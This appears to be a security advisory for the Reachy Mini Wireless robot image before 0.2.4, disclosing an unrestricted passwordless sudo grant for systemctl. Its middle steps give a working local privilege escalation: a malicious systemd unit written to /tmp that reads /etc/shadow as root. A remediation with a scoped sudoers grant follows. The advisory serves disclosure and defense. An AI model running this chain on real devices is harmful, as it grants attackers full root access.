The Reachy Mini Wireless image is vulnerable to a Local Privilege Escalation via an Unrestricted sudo systemctl Grant
reachy-mini-os
< 0.2.4
The Reachy Mini Wireless image ships the daemon user (pollen) with a passwordless sudoers entry for /usr/bin/systemctl that carries no subcommand or argument restriction. An attacker who obtains code execution as pollen, for example, could escalate to full root in three commands, with no additional vulnerability required.
Step 1 - Confirm the sudoers grant
sudo -n -l 2>&1 | grep systemctl
Expected output:
(ALL) NOPASSWD: /usr/bin/systemctl
If the output shows a restricted form such as /usr/bin/systemctl restart reachy-mini-daemon, the escalation is blocked - skip to Impact.
Step 2 - Write the malicious unit file
From a raw nc/reverse shell where heredoc and multi-line paste may not work, use printf to write the file in a single command:
printf '[Unit]\nDescription=privesc\n\n[Service]\nType=oneshot\nExecStart=/tmp/.pwn.sh\nRemainAfterExit=no\n\n[Install]\nWantedBy=multi-user.target\n' > /tmp/.pwn.service
Write the payload script separately (avoids quoting issues in ExecStart):
printf '#!/bin/sh\nid > /tmp/.pwn_proof.txt\nhead -1 /etc/shadow >> /tmp/.pwn_proof.txt\necho CHAIN_COMPLETE >> /tmp/.pwn_proof.txt\n' > /tmp/.pwn.sh chmod +x /tmp/.pwn.sh
/tmp is world-writable. Both files are owned by pollen:pollen. No elevated privilege is needed for this step.
Step 3 - Link and start the unit
sudo /usr/bin/systemctl link /tmp/.pwn.service
sudo /usr/bin/systemctl daemon-reload
sudo /usr/bin/systemctl start .pwn.service
Expected output from the link command:
Created symlink /etc/systemd/system/.pwn.service -> /tmp/.pwn.service.
Step 4 - Verify root execution
cat /tmp/.pwn_proof.txt
Expected output:
uid=0(root) gid=0(root) groups=0(root)
root:*:20578:0:99999:7:::
CHAIN_COMPLETE
The first line proves ExecStart ran as uid 0. The second line is the first entry of /etc/shadow - readable only by root - confirming full root filesystem access.
Upgrade or log in as root (or via sudo -i), then:
# Remove the overly broad grant (if present)
rm -f /etc/sudoers.d/010_pi-nopasswd
# Install the scoped grant
cat > /etc/sudoers.d/010-pollen-reachy <<'EOF'
Cmnd_Alias REACHY = \
/usr/bin/systemctl restart reachy-mini-daemon, \
/usr/bin/systemctl restart reachy-mini-bluetooth, \
/usr/sbin/rfkill unblock bluetooth, \
/usr/sbin/rfkill unblock wifi, \
/usr/sbin/shutdown -h now, \
/bluetooth/commands/HOTSPOT.sh, \
/bluetooth/commands/WIFI_RESET.sh, \
/bluetooth/commands/SOFTWARE_RESET.sh, \
/bluetooth/commands/RESTART_DAEMON.sh
pollen ALL=(root) NOPASSWD: REACHY
EOF
chmod 0440 /etc/sudoers.d/010-pollen-reachy
# Validate the resulting sudoers configuration
visudo -c
https://github.com/pollen-robotics/reachy-mini-os/security/advisories/GHSA-7rhg-9v48-x3h2